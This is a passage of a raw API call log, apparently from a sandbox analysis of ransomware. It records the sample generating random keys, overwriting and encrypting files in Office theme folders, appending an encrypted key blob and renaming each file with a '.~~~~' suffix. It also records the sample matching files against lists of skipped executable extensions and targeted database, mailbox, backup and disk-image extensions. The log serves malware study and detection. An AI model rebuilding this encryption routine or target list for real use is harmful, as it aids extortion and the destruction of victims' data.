	[0084.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28091a0
	[0084.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28091a0 | out: hHeap=0x300000) returned 1
	[0084.637] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.637] GetLastError () returned 0x0
	[0084.637] GetLastError () returned 0x0
	[0084.637] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.637] GetLastError () returned 0x0
	[0084.637] GetLastError () returned 0x0
	[0084.640] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff45ce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.640] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xba32, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0xba32, lpOverlapped=0x0) returned 1
	[0084.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0084.641] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.641] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.641] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.641] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.641] CloseHandle (hObject=0x11c) returned 1
	[0084.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fa20
	[0084.641] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.~~~~")) returned 1
	[0084.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fa20 | out: hHeap=0x300000) returned 1
	[0084.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.642] GetLastError () returned 0x0
	[0084.642] RtlWakeConditionVariable () returned 0x365f70
	[0084.642] GetCurrentThreadId () returned 0xaf0
	[0084.642] GetCurrentThreadId () returned 0xaf0
	[0084.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808330
	[0084.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809248 | out: hHeap=0x300000) returned 1
	[0084.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9fd8 | out: hHeap=0x300000) returned 1
	[0084.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2809248
	[0084.643] lstrlenW (lpString=".scr") returned 4
	[0084.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".scr") returned 0x0
	[0084.643] lstrlenW (lpString=".cmd") returned 4
	[0084.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".cmd") returned 0x0
	[0084.643] lstrlenW (lpString=".dll") returned 4
	[0084.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".dll") returned 0x0
	[0084.643] lstrlenW (lpString=".bat") returned 4
	[0084.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".bat") returned 0x0
	[0084.643] lstrlenW (lpString=".cpl") returned 4
	[0084.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".cpl") returned 0x0
	[0084.643] lstrlenW (lpString=".sys") returned 4
	[0084.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".sys") returned 0x0
	[0084.643] lstrlenW (lpString=".msc") returned 4
	[0084.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".msc") returned 0x0
	[0084.643] lstrlenW (lpString=".com") returned 4
	[0084.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".com") returned 0x0
	[0084.643] lstrlenW (lpString=".lnk") returned 4
	[0084.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".lnk") returned 0x0
	[0084.643] lstrlenW (lpString=".msp") returned 4
	[0084.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".msp") returned 0x0
	[0084.643] lstrlenW (lpString=".pif") returned 4
	[0084.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".pif") returned 0x0
	[0084.643] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0084.644] lstrlenW (lpString=".sqb") returned 4
	[0084.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".sqb") returned 0x0
	[0084.644] lstrlenW (lpString=".ost") returned 4
	[0084.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".ost") returned 0x0
	[0084.644] lstrlenW (lpString=".txt") returned 4
	[0084.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".txt") returned 0x0
	[0084.644] lstrlenW (lpString=".mdt") returned 4
	[0084.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".mdt") returned 0x0
	[0084.644] lstrlenW (lpString=".BDB") returned 4
	[0084.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".BDB") returned 0x0
	[0084.645] lstrlenW (lpString=".eql") returned 4
	[0084.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".eql") returned 0x0
	[0084.645] lstrlenW (lpString=".DBF") returned 4
	[0084.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".DBF") returned 0x0
	[0084.645] lstrlenW (lpString=".EQL") returned 4
	[0084.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".EQL") returned 0x0
	[0084.645] lstrlenW (lpString=".FDB") returned 4
	[0084.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".FDB") returned 0x0
	[0084.645] lstrlenW (lpString=".EDB") returned 4
	[0084.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".EDB") returned 0x0
	[0084.645] lstrlenW (lpString=".DACPAC") returned 7
	[0084.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".DACPAC") returned 0x0
	[0084.645] lstrlenW (lpString=".VHD") returned 4
	[0084.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".VHD") returned 0x0
	[0084.645] lstrlenW (lpString=".DBV") returned 4
	[0084.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".DBV") returned 0x0
	[0084.645] lstrlenW (lpString=".dacpac") returned 7
	[0084.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".dacpac") returned 0x0
	[0084.645] lstrlenW (lpString=".sdf") returned 4
	[0084.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".sdf") returned 0x0
	[0084.645] lstrlenW (lpString=".accdb") returned 6
	[0084.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".accdb") returned 0x0
	[0084.645] lstrlenW (lpString=".DBX") returned 4
	[0084.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".DBX") returned 0x0
	[0084.645] lstrlenW (lpString=".MDT") returned 4
	[0084.645] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".MDT") returned 0x0
	[0084.646] lstrlenW (lpString=".SQB") returned 4
	[0084.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".SQB") returned 0x0
	[0084.646] lstrlenW (lpString=".vhd") returned 4
	[0084.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".vhd") returned 0x0
	[0084.646] lstrlenW (lpString=".bac") returned 4
	[0084.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".bac") returned 0x0
	[0084.646] lstrlenW (lpString=".mdf") returned 4
	[0084.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".mdf") returned 0x0
	[0084.646] lstrlenW (lpString=".BAK") returned 4
	[0084.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".BAK") returned 0x0
	[0084.646] lstrlenW (lpString=".BAC") returned 4
	[0084.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".BAC") returned 0x0
	[0084.646] lstrlenW (lpString=".dbs") returned 4
	[0084.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".dbs") returned 0x0
	[0084.646] lstrlenW (lpString=".vhdx") returned 5
	[0084.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".vhdx") returned 0x0
	[0084.646] lstrlenW (lpString=".NDF") returned 4
	[0084.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".NDF") returned 0x0
	[0084.646] lstrlenW (lpString=".dat") returned 4
	[0084.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".dat") returned 0x0
	[0084.646] lstrlenW (lpString=".DBS") returned 4
	[0084.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".DBS") returned 0x0
	[0084.646] lstrlenW (lpString=".CKP") returned 4
	[0084.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".CKP") returned 0x0
	[0084.646] lstrlenW (lpString=".edb") returned 4
	[0084.646] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".edb") returned 0x0
	[0084.647] lstrlenW (lpString=".PST") returned 4
	[0084.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".PST") returned 0x0
	[0084.647] lstrlenW (lpString=".dbf") returned 4
	[0084.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".dbf") returned 0x0
	[0084.647] lstrlenW (lpString=".SQL") returned 4
	[0084.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".SQL") returned 0x0
	[0084.647] lstrlenW (lpString=".pst") returned 4
	[0084.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".pst") returned 0x0
	[0084.647] lstrlenW (lpString=".dbv") returned 4
	[0084.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".dbv") returned 0x0
	[0084.647] lstrlenW (lpString=".SDF") returned 4
	[0084.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".SDF") returned 0x0
	[0084.647] lstrlenW (lpString=".dtxs") returned 5
	[0084.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".dtxs") returned 0x0
	[0084.647] lstrlenW (lpString=".db3") returned 4
	[0084.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".db3") returned 0x0
	[0084.647] lstrlenW (lpString=".OST") returned 4
	[0084.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".OST") returned 0x0
	[0084.647] lstrlenW (lpString=".dbx") returned 4
	[0084.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".dbx") returned 0x0
	[0084.647] lstrlenW (lpString=".DB3") returned 4
	[0084.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".DB3") returned 0x0
	[0084.647] lstrlenW (lpString=".DAT") returned 4
	[0084.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".DAT") returned 0x0
	[0084.647] lstrlenW (lpString=".VHDX") returned 5
	[0084.647] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".VHDX") returned 0x0
	[0084.647] lstrlenW (lpString=".ndf") returned 4
	[0084.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".ndf") returned 0x0
	[0084.648] lstrlenW (lpString=".DB") returned 3
	[0084.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".DB") returned 0x0
	[0084.648] lstrlenW (lpString=".sql") returned 4
	[0084.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".sql") returned 0x0
	[0084.648] lstrlenW (lpString=".MYD") returned 4
	[0084.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".MYD") returned 0x0
	[0084.648] lstrlenW (lpString=".DBT") returned 4
	[0084.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".DBT") returned 0x0
	[0084.648] lstrlenW (lpString=".ACCDB") returned 6
	[0084.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".ACCDB") returned 0x0
	[0084.648] lstrlenW (lpString=".fdb") returned 4
	[0084.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".fdb") returned 0x0
	[0084.648] lstrlenW (lpString=".bak") returned 4
	[0084.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".bak") returned 0x0
	[0084.648] lstrlenW (lpString=".myd") returned 4
	[0084.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".myd") returned 0x0
	[0084.648] lstrlenW (lpString=".DTXS") returned 5
	[0084.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".DTXS") returned 0x0
	[0084.649] lstrlenW (lpString=".ckp") returned 4
	[0084.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".ckp") returned 0x0
	[0084.649] lstrlenW (lpString=".dbt") returned 4
	[0084.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".dbt") returned 0x0
	[0084.649] lstrlenW (lpString=".db") returned 3
	[0084.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".db") returned 0x0
	[0084.649] lstrlenW (lpString=".TXT") returned 4
	[0084.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".TXT") returned 0x0
	[0084.649] lstrlenW (lpString=".MDF") returned 4
	[0084.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".MDF") returned 0x0
	[0084.649] lstrlenW (lpString=".bdb") returned 4
	[0084.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".bdb") returned 0x0
	[0084.649] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.649] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0084.650] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.650] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0084.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0084.650] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20464062461) returned 1
	[0084.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9c493ef0, dwHighDateTime=0x1d60e1e)) 
	[0084.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9fd8
	[0084.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9fd8 | out: hHeap=0x300000) returned 1
	[0084.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808a68
	[0084.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808a68 | out: hHeap=0x300000) returned 1
	[0084.651] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.651] GetLastError () returned 0x0
	[0084.652] GetLastError () returned 0x0
	[0084.652] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.652] GetLastError () returned 0x0
	[0084.652] GetLastError () returned 0x0
	[0084.654] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffe0d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.654] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1f3, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1f3, lpOverlapped=0x0) returned 1
	[0084.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0084.654] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.654] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.654] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.654] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.655] CloseHandle (hObject=0x11c) returned 1
	[0084.655] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fa20
	[0084.655] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf.~~~~")) returned 1
	[0084.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fa20 | out: hHeap=0x300000) returned 1
	[0084.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0084.656] GetLastError () returned 0x0
	[0084.656] RtlWakeConditionVariable () returned 0x365f70
	[0084.656] GetCurrentThreadId () returned 0xaf0
	[0084.656] GetCurrentThreadId () returned 0xaf0
	[0084.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808330
